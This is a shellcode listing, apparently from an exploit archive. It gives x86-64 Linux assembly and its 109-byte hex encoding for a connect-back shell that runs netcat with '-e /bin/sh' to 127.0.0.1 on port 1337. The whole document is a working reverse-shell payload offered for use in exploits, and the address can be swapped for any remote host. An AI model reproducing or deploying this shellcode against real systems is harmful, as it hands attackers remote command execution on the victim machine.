Linux/x86-64 - Reverse TCP (127.0.0.1:1337/TCP) Netcat (/bin/nc) Shell (/bin/sh) Shellcode (109 byte

; { Title: Shellcode linux/x86-64 connect back shell }
 
; Author    : Gaussillusion
; Len       : 109 bytes
; Language  : Nasm
 
;syscall: execve("/bin/nc",{"/bin/nc","ip","1337","-e","/bin/sh"},NULL)
 
BITS 64
xor     rdx,rdx
mov     rdi,0x636e2f6e69622fff
shr rdi,0x08
push    rdi
mov     rdi,rsp
 
mov rcx,0x68732f6e69622fff
shr rcx,0x08
push    rcx
mov rcx,rsp
 
mov     rbx,0x652dffffffffffff
shr rbx,0x30
push    rbx
mov rbx,rsp
 
mov r10,0x37333331ffffffff
shr     r10,0x20
push    r10
mov r10,rsp
 
jmp short ip
continue:
pop     r9
 
push    rdx  ;push NULL
push    rcx  ;push address of 'bin/sh'
push    rbx  ;push address of '-e'
push    r10  ;push address of '1337'
push    r9   ;push address of 'ip'
push    rdi  ;push address of '/bin/nc'
 
mov     rsi,rsp
mov     al,59
syscall
 
 
ip:
    call  continue
    db "127.0.0.1"
 
 
;______________________bytecode_______________________
;\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63
;\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62
;\x69\x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51\x48\x89\xe1
;\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1\xeb
;\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33
;\x33\x37\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\xeb\x11
;\x41\x59\x52\x51\x53\x41\x52\x41\x51\x57\x48\x89\xe6
;\xb0\x3b\x0f\x05\xe8\xea\xff\xff\xff\x31\x32\x37\x2e
;\x30\x2e\x30\x2e\x31
;______________________bytecode_______________________